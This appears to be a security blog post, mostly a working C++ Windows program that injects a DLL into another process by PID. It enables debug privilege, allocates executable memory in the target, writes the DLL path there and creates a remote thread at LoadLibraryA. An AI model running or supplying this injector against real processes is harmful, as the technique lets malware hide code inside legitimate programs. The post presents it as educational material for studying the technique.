// DLLInjection-Basics.cpp : Defines the entry point for the console application. // /* Author: Nik Alleyne Author Blog: www.securitynik.com Date: 2019-01-10 File: dllInjection-Basics.c Note: This code was developed stricly for education purposes and is not to be used for anything malicious. If you use this program in any malicious way or damage your computing systems, in no way am I responsible. */ #include "stdafx.h" #include <windows.h> #include <stdlib.h> #include <stdio.h> #include <psapi.h> #include <string.h> // This function basically prints out the usage information to the screen if someone enters less than or more than 1 argument void usageInfo() { printf("DLLInjection-Basics.exe \nNik Alleyne | www.securitynik.com \n"); printf("Usage: To use this program, you must enter the DLLInjection-Basics.exe followed by the PID\n"); printf("eg. DLLInjection-Basics.exe 1020 \n"); printf("-----------------------------------------------------------\n"); printf("This tool should be used only for educational purposes. \nIf you plan to use it for something nefarious, \nyou should STOP using it immediately.\n"); printf("------------------------------------------------------------\n"); exit(0); } // This function is used for granting this program 'Debug' privileges BOOL setDeugPrivilege(HANDLE myToken, LPCTSTR myDesiredAccess, BOOL trueFalse) { TOKEN_PRIVILEGES myTokenPrivileges; LUID myLuid; printf("[*] Attempting to give myself [Debug] privileges ... \n"); Sleep(2000); if (!LookupPrivilegeValue(NULL, myDesiredAccess, &myLuid)) { printf(" -> [!] Encountered an error while looking up privileges. The error code was %d \n", GetLastError()); return FALSE; } else printf(" -> [*] Successfully looked up current privileges \n"); Sleep(2000); // Identify as 1 the number of items in the privilege array myTokenPrivileges.PrivilegeCount = 1; myTokenPrivileges.Privileges[0].Luid = myLuid; if (trueFalse) myTokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else myTokenPrivileges.Privileges[0].Attributes = 0; // After all of that, let's now officially enable the privilege if ((AdjustTokenPrivileges(myToken, FALSE, &myTokenPrivileges, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) && GetLastError() == 0 ) printf(" -> [+] Successfully gained [%ws] privileges! \n", myDesiredAccess); else { printf(" -> [!] Damm! Looks like we hit a snag while setting the 'Debug' Privilege. \n"); printf(" -> [!] Try running me again as administrator. \n"); printf(" -> [!] Current error code is %d \n", GetLastError()); return FALSE; } return TRUE; } int main(int argc, char *argv[]) { // clear the screnn before we get going system("cls"); // Check the number of arguments being passed. If not equal to 1 print info from usage function above // Note below we are checking "!=2" this is because the program itself is argv[0]. This means the PID will be argv[1] // Hence the total of 2 arguments being checked if (argc != 2) usageInfo(); printf("----\\\\//---- DLL Injection Basics by Nik Alleyne | www.securitynik.com ----\\\\//---- \n"); Sleep(2000); printf("[*] My current proces ID is:[%d] \n", GetCurrentProcessId()); Sleep(2000); //Let's enumerate the process ID entered on the command line as argv[1] // Variables to be used by EnumProcesses Function arguments DWORD myProcessList[1024], myProcessListArraySize, myProcessCount; unsigned int count = 0; // Enumerate all processes on the system printf("[*] Enumerating all processes on the system ... \n"); Sleep(2000); if (!EnumProcesses(myProcessList, sizeof(myProcessList), &myProcessListArraySize)) { printf(" -> [+] Uh oh! Looks like we it a snag. Try me again later. \n"); return FALSE; } else { printf(" -> [+] Successfully enumerated all processes \n"); Sleep(2000); } // Now that we have enumerated all the processes, let's get the total number returned myProcessCount = myProcessListArraySize / sizeof(DWORD); // Let's now search the processes to look for the one with the process ID entered on the command line printf("[*] Searching through [%u] process looking for the process with PID:[%u] ... \n", myProcessCount, atoi(argv[1])); Sleep(2000); // This variable keep track of whether or not the PID is found from the returned list BOOL pidFound = FALSE; // Step through the list of process IDs returned for (count; count < myProcessCount; count++) { // If you want to see all currently running PIDs uncomment the printf statement below // printf("[*] PID:[%u] \n", myProcessList[count]); // compare each entry as they are returned against the value entered in the command line if (myProcessList[count] == atoi(argv[1])) { printf("\n -> [*] Process with PID:[%u] found \n", atoi(argv[1])); Sleep(2000); pidFound = TRUE; break; } else { printf("."); Sleep(1); } } // if the PID is not found, print a message to the screen if (!pidFound) { printf("\n -> [!] Bummer! Could not find a process with PID:[%u] \n", atoi(argv[1])); return FALSE; } // Gain a handle to the current process HANDLE myCurrentProcess = GetCurrentProcess(); HANDLE myToken; // Call the function defined above to set the debug privileges if (OpenProcessToken(myCurrentProcess, TOKEN_ALL_ACCESS, &myToken)) if (!setDeugPrivilege(myToken, SE_DEBUG_NAME, TRUE)) return FALSE; // Attach to the process specified by the PID provided Sleep(2000); printf("[*] Attempting to attach to the remote process with PID:[%u] ... \n", atoi(argv[1])); Sleep(2000); HANDLE myRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, atoi(argv[1])); if ( myRemoteProcess ) { printf(" -> [+] Successfully attached to the remote process with PID:[%u] \n", atoi(argv[1])); Sleep(2000); printf(" -> [+] The handle returned to the remote process is [%p] \n", myRemoteProcess); Sleep(2000); } else { printf(" -> [!] Error encountered while attaching to the remote process with PID:[%u] \n", atoi(argv[1])); printf(" -> [!] The error code was %u \n", GetLastError()); return FALSE; } // Now that we have attached to the process, let's allocate space within it // VOID *myRemoteProcessBaseAddress = NULL; printf("[*] Attempting to allocate space within the remote process with PID:[%u] ... \n", atoi(argv[1])); Sleep(2000); VOID *myRemoteProcessBaseAddress = VirtualAllocEx(myRemoteProcess, (LPVOID)NULL, 256, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if ( myRemoteProcessBaseAddress != NULL ) { printf(" -> [+] Successfully allocated space within the remote process\n"); Sleep(2000); printf(" -> [+] The base addressed returned for the remote process was [%p] \n", myRemoteProcessBaseAddress); Sleep(2000); } else { printf(" -> [!] Looks like we hit a road block with allocating space in the process \n"); printf(" -> [!] The error code returned was %d \n", GetLastError()); return FALSE; } // Now that we have allocated the space in the process memory, let's write our dll to this space printf("[*] Attempting to write [SampleDLL.dll] into the memory of process with PID:[%u] at base address:[%p] ...\n", atoi(argv[1]), myRemoteProcessBaseAddress); Sleep(2000); // define the path for my DLL CHAR myDLLPath[MAX_PATH] = {0}; SIZE_T myNumOfBytesWritten = 0; strcpy_s(myDLLPath, sizeof(myDLLPath) + 1, "E:\\Code\\SampleDLL.dll"); if (WriteProcessMemory(myRemoteProcess, myRemoteProcessBaseAddress, (LPVOID *)myDLLPath, sizeof(myDLLPath), &myNumOfBytesWritten)) printf(" -> [+] Successfully wrote [%u] bytes to the process with PID:[%d] memory \n", myNumOfBytesWritten, atoi(argv[1])); else { printf(" -> [!] Error occurred while writing to the process memory"); printf(" -> [!] The error code was %d \n", GetLastError()); return FALSE; } // Let's prepare to wrap this up by creating a thread in the remote process Sleep(2000); printf("[*] Attempting to create a new thread in the remote process ... \n"); Sleep(2000); HANDLE myRemoteProcessNewThread = CreateRemoteThread(myRemoteProcess, (LPSECURITY_ATTRIBUTES)NULL, 0, (LPTHREAD_START_ROUTINE)(GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "LoadLibraryA")), myRemoteProcessBaseAddress, 0, (LPDWORD)NULL); if (myRemoteProcessNewThread != NULL) { printf(" -> [+] Successfully created the new thread in the remote process \n"); Sleep(2000); printf(" -> [*] The handle received for the remote thread is [%p]\n", myRemoteProcessNewThread); Sleep(2000); printf(" -> [*] I'm done my work. Let's now get out of here! \n"); Sleep(2000); printf("----------\\\\//--- www.securitynik.com ---//\\\\----------\n"); } else { printf(" -> [!] Bummer! Looks like we have an error \n"); return FALSE; } // Sleep(100000); return 0; } /* References: http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html http://deniable.org/misc/inject-all-the-things https://docs.microsoft.com/en-us/previous-versions/td1esda9(v=vs.140) https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-getprocaddress https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-loadlibrarya https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createremotethread https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-getcurrentprocess https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openprocess https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openprocesstoken https://docs.microsoft.com/en-us/windows/desktop/api/psapi/nf-psapi-enumprocesses https://docs.microsoft.com/en-us/windows/desktop/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges https://docs.microsoft.com/en-us/windows/desktop/api/winnt/ns-winnt-_luid_and_attributes https://docs.microsoft.com/en-us/windows/desktop/api/winnt/ns-winnt-_privilege_set https://docs.microsoft.com/en-us/windows/desktop/api/winnt/ns-winnt-_token_privileges https://docs.microsoft.com/en-us/windows/desktop/Debug/system-error-codes https://docs.microsoft.com/en-us/windows/desktop/Memory/memory-protection-constants https://docs.microsoft.com/en-us/windows/desktop/ProcThread/process-security-and-access-rights https://docs.microsoft.com/en-us/windows/desktop/psapi/enumerating-all-processes https://docs.microsoft.com/en-us/windows/desktop/SecAuthZ/access-rights-for-access-token-objects https://docs.microsoft.com/en-us/windows/desktop/SecAuthZ/enabling-and-disabling-privileges-in-c-- https://docs.microsoft.com/en-us/windows/desktop/SecGloss/a-gly https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debug-privilege https://msdn.microsoft.com/en-us/library/windows/desktop/aa366890%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396 https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396 https://stackoverflow.com/questions/13080927/about-the-msdn-code-example-enabling-and-disabling-privileges https://vulnerablelife.wordpress.com/2017/01/12/windows-dll-injection-basics/ https://www.codeproject.com/Articles/20084/A-More-Complete-DLL-Injection-Solution-Using-Creat */
See you in the next post where we confirm whether or not this is actually working as expected.
No comments:
Post a Comment